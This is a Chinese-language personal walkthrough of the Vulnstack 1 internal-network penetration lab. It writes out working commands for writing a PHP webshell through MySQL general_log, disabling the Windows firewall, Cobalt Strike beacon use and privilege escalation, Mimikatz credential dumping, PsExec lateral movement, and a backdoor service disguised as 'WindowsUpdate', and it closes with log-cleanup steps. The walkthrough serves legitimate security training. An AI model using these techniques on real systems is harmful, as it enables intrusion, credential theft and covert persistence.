Vulnstack通关
来源于《内网渗透实战攻略》实战部分
个人是写下自己的笔记
攻击链:探索发现阶段->入侵和感染阶段->攻击和利用阶段->探索感知阶段->传播阶段->持久化和恢复阶段
Windows权限级别前置知识:
权限层级 | 账户类型 | 权限范围 | 常见用途 | 安全风险 | 提权方法 |
---|---|---|---|---|---|
普通用户 (User) | 标准用户账户 | - 运行应用程序 - 修改个人文件 - 无法安装软件或修改系统设置 | 日常办公、网页浏览、文档编辑 | 无法操作系统核心功能,攻击面有限 | 利用漏洞(如 UAC 绕过、DLL 劫持) |
管理员 (Administrator) | 管理员账户 | - 安装/卸载软件 - 修改系统配置 - 管理用户账户 - 部分内核操作权限 | 系统维护、软件部署、用户管理 | 可能被恶意软件提权,导致系统完全沦陷 | 利用漏洞(如 MS08-067、永恒之蓝)、滥用计划任务、Token 劫持 |
SYSTEM | 系统内置账户 | - 内核级权限 - 完全控制系统资源 - 访问所有硬件和驱动 - 绕过用户权限限制 | 运行系统服务(如 services.exe )、底层驱动加载、安全审计 |
攻击者可完全控制系统,隐藏痕迹难度高 | 利用服务漏洞(如 PrintSpooler )、滥用 PsExec 、计划任务提权 |
Local Service | 虚拟服务账户 | - 本地网络访问权限 - 启动/停止相关服务 - 低权限系统操作 | 运行低权限后台服务(如 Windows Update ) |
权限较低,但仍可被滥用于横向渗透 | 利用服务间信任关系、提权到 Network Service |
Network Service | 虚拟服务账户 | - 网络访问权限(如访问网络共享) - 部分系统服务操作 | 运行需要网络权限的服务(如 DNS Client ) |
可能通过横向渗透扩大攻击范围 | 利用网络协议漏洞、提权到 Local System |
域管理员 (Domain Admin) | 域控制器账户 | - 管理整个域环境 - 控制域内所有用户和计算机 - 修改域策略 | 企业环境中的集中管理 | 域控沦陷将导致整个域被控制 | 黄金票据 (Golden Ticket)、域提权漏洞(如 CVE-2020-1472) |
虚拟账户 (Virtual Account) | 自动托管的服务账户 (如 NT SERVICE\wuauserv ) |
- 特定服务的最小权限 - 隔离服务间权限 |
配置前置知识:
网络模式 | 通信范围 | IP 地址分配 | 典型用途 | 优点 | 缺点 |
---|---|---|---|---|---|
NAT | 宿主机与外部网络,虚拟机之间不互通 | 由宿主机 DHCP 分配(私有 IP) | 虚拟机需访问外部网络(如互联网),但不需要被外部主动访问 | 隔离宿主机与外网,安全性高 | 虚拟机之间无法直接通信 |
NAT 网络 | 宿主机、虚拟机之间,及外部网络 | 由 NAT 网络 DHCP 分配(私有 IP) | 多个虚拟机需共享宿主机网络访问外网,且虚拟机之间需要互访 | 支持多虚拟机互联,灵活性高 | 配置较复杂,依赖宿主机网络 |
桥接 Bridged | 宿主机所在物理网络(与局域网平级) | 由路由器 DHCP 分配(与宿主机同级) | 虚拟机需作为独立设备接入局域网(如模拟真实设备) | 虚拟机与宿主机、局域网设备完全互通 | 可能占用局域网 IP,安全性较低 |
内部网络 Internal | 仅虚拟机之间(隔离环境) | 无 DHCP,需手动分配静态 IP | 模拟完全隔离的内网环境(如测试内网渗透) | 完全隔离,无外部干扰 | 无法连接宿主机或互联网 |
仅主机 Host-Only | 宿主机与虚拟机之间 | 由虚拟网络适配器分配(私有 IP) | 宿主机与虚拟机之间需要私密通信(如测试 Web 服务器与宿主机的交互) | 宿主机与虚拟机双向通信,安全性较高 | 虚拟机无法访问外部网络 |
Cobalt Strike配置教程:
client为客户端,Server为服务端。
以linux系统虚拟机(或服务器)为服务端,首先配置环境:
sudo apt-get install openjdk-11-jdk
然后打开服务端:
chmod 777 teamserver
chmod 777 TeamServerImage
./teamserver [服务端IP] [连接密码]
打开客户端连接:
Vulnstack1
VM1——Windows 7 x64——Web服务器,双网卡(一个对内网访问一个对外网访问)
VM2——Win2K3 Metasploitable——内网域成员主机
VM3——Windows Server 2008 R2 x64——域控主机
虚拟机名称 | 角色/功能 | 网络配置 | 主要用途 | 典型攻击场景示例 |
---|---|---|---|---|
VM1 | Web服务器(跳板/网关) | 双网卡(对外网卡+对内网卡) | 1. 对外提供服务的Web应用 2. 作为内网与外网的通信跳板 3. 测试外网到内网的渗透链 | 1. 利用Web漏洞(如SQL注入、RCE)入侵 2. 通过跳板横向渗透内网其他主机 |
VM2 | 内网域成员主机(易受攻击目标) | 仅内网网卡(与VM1/VM3通信) | 1. 提供漏洞攻击实践环境(如永恒之蓝、MS08-067) 2. 模拟普通域成员主机权限提升 | 1. 利用漏洞获取本地管理员权限 2. 窃取域用户哈希进行横向渗透(如Pass-the-Hash) |
VM3 | 域控制器(Domain Controller) | 仅内网网卡(与VM1/VM2通信) | 1. 模拟Active Directory域环境 2. 测试域提权、黄金票据等高级攻击 | 1. 破解域控制器SAM数据库获取域管理员权限 2. 伪造票据(Golden Ticket)控制域环境 |
配置如下:
注意:配置的子网地址必须是192.168.52.0
,否则win7的web服务无法开启
登录密码为hongrisec@2019
,有两台靶机密码会过期,为了防止出现问题将三台靶机密码都重新设置同样的密码。
启动WEB服务:
登录web服务器靶机查看IP地址,测试连通性后即可开始:
探索发现阶段:
进行端口扫描:
识别 80 端口的web应用框架和版本:
直接暴露探针页面,泄露了当前站点使用了PHPSTUDY这一信息(绝对路径)
还给出了MySQL数据库连接测试功能点,使用root/root
默认密码登录成功:
使用navicat远程连接数据库失败,推测该服务设置了远程白名单:
入侵和感染阶段
通过Web目录枚举扩大攻击面:
找到了phpMyAdmin平台的访问地址,进行访问:
phpMyAdmin
phpMyAdmin 是一个基于 Web 的 MySQL/MariaDB 数据库管理工具,通过图形化界面(GUI)简化数据库的创建、维护和操作。它用 PHP 编写,支持跨平台(Windows/Linux/macOS),无需命令行基础即可管理数据库。
此处按照登录框测试流程思路(详见The Hackers Labs(打靶场练习) - Super_Snow_Sword - 博客园),优先使用之前得到的用户密码root/root
尝试登录:
利用 phpMyAdmin 日志文件获取Web服务器权限
首先确认当前日志文件设置情况,执行SQL语句:
show variables like "general_log%";
SHOW VARIABLES |
MySQL 命令,用于显示系统变量的当前值。 |
---|---|
LIKE "general_log%" |
过滤条件,匹配变量名以 general_log 开头的所有变量(模糊查询)。 |
执行后显示日志功能为关闭状态,默认日志文件路径为C:\phpStudy\MySQL\data\stu1.log
获得webshell步骤如下:
1.开启日志功能
set global general_log='on';
2.更改日志文件目录
set global general_log_file = "C:\\phpstudy\\www\\shell.php";
3.向日志中写入恶意代码
select "<?php system($_REQUEST[cmd]);?>";
这样日志文件C:\\phpstudy\\www\\shll.php
就会写入select "<?php system($_REQUEST[cmd]);?>";
我们可以直接测试webshell:
进行目录遍历,发现新的目录:
发现新目录并且公告信息中泄露了后台登录地址、用户名和密码
直接登录
这里也有SQL执行功能,可以注入webshell
拥有了webshell就可以通过远程命令执行上线Cobalt Strike了
关闭防火墙:
netsh advfirewall set allprofiles state off
生成恶意文件,让恶意文件执行即可让Cobalt Strike获得一个反弹shell(使用了蚁剑操作,用了其他另一个一句话木马<?php eval($_REQUEST[cmd]);?>
):
恶意文件创建成功后上传文件到靶机上:
反弹shell连接默认每60秒交互一次,我们将其改为实时交互:
CS获得实时交互功能:
sleep 0
通过shell [命令]
的方式与终端进行交互
攻击和利用阶段
通过systeminfo
命令发现该Web服务器是64位的Windows 7 系统:
有前面的步骤我们已经得到了64位的反弹shell连接(注意反弹shell的arch栏),因此我们可以直接提权为SYSTEM权限
getsystem
若当前获得的是一个32位shell进程,则还需要获得一个64位的反弹shell连接
借助进程注入的方式实现64位反弹shell的获取
1.查看目标主机本地的进程列表
shell tasklist
2.注入目标进程,优先选择非系统进程(防止注入操作导致系统崩溃),并且尽量选择常见的程序进程
这里选择Everything.exe,其PID为3032:
inject 3032 x64
现在就有新的x64反弹shell了,getsystem
提权即可
探索感知阶段
收集内网域服务器信息
net view
发现两台内网主机,PDC(Primary Domain Controller)为主域控制器主机,另一台为普通的域成员主机
还有一个STU1是我们拿下的WEB服务器主机的内网地址
可以在CS中列出我们的目标:
抓取哈希及转储明文密码
Cobalt Strike的Beacon反弹Shell自带Mimikatz套件,因此可以直接读取本地密码和哈希:
logonpasswords
可以看出密码明文是我改成的hongrisec@2022
同时可以发现该Administrator用户属于域GOD内的域用户,这意味着我们可以借助他的用户密码尝试登录其他域主机
传播阶段
使用PsExec建立IPC通道,上线域控服务器
PsExec相关介绍可以看这篇相关的流量分析:CyberDefenders通关(持续缓慢更新) - Super_Snow_Sword - 博客园
直接横向移动上线:
同时添加一个SMB协议的监听器作为内网传输媒介
选择当前拥有的64位反弹shell会话作为发起该操作的会话:
就这样我们成功上线域控服务器
同理我们可以上线域成员服务器全部拿下:
攻击者控制台 (CS)
│
├─ 1. 使用 PsExec 通过 SMB 协议连接目标机器
│ │
│ ├─ 上传恶意 Payload 到目标机器的 IPC$ 共享目录【进程间通信(Inter-Process Communication)】
│ └─ 通过远程进程注入执行 Payload,建立初始 Shell 会话
│
├─ 2. 添加 SMB 监听器(作为内网通信中继)
│ │
│ ├─ 监听器监听本地端口(如 445),接收来自内网的反向连接
│ └─ 通过加密通道中转流量(规避防火墙检测)
│
└─ 3. 利用现有 64 位 Shell 会话发起横向移动│├─ 通过已控制的 64 位进程注入恶意代码└─ 执行提权操作或扫描内网其他主机
持久化和恢复阶段
常见的后门
- 建立计划任务,定时连接远程服务器
- 设置开机启动程序,每次开机都会触发执行恶意程序
- 新建系统管理员账号
通过Cobalt Strike持久化控制服务器
service功能对唯一可以联通外网的Windows 7 操作系统主机进行权限维持
首先生成一个恶意程序(之前已经做过)
查看被控制的目标主机本地的所有文件:
将恶意文件上传到桌面:
执行命令:
shell sc create "WindowsUpdate" binpath= "C:\Users\Administrator\Desktop\artifact_x64.exe"&&sc config "WindowsUpdate" start= auto&&net start WindowsUpdate
命令部分 | 作用 | 参数/路径 | 执行结果 | 潜在风险 |
---|---|---|---|---|
sc create "WindowsUpdate" binpath= "C:\Users\Administrator\Desktop\artifact_x64.exe" |
创建名为 WindowsUpdate 的 Windows 服务。 |
- 服务名称:WindowsUpdate - 二进制路径:C:\Users\Administrator\Desktop\artifact_x64.exe |
若路径有效且权限足够,服务将被创建。 | - 路径错误:若 artifact_x64.exe 不存在,服务创建失败。 - 恶意程序植入:若该文件为恶意程序,将导致持久化后门。 |
sc config "WindowsUpdate" start= auto |
将服务 WindowsUpdate 的启动类型设置为 自动启动。 |
- 服务名称:WindowsUpdate - 启动类型:auto |
服务被标记为开机自启,系统重启后会自动运行。 | - 权限要求:需管理员权限。 - 系统稳定性风险:恶意服务可能导致系统崩溃或异常。 |
net start WindowsUpdate |
立即启动服务 WindowsUpdate 。 |
恢复阶段的攻击
1.删除上传的所有webshell
2.还原MySQL日志设置
set global general_log='off';
3.清除系统日志等(这里书上就一句话没有具体操作,如果我是蓝队看到安全日志有那么多登录记录我会立刻拔掉网线):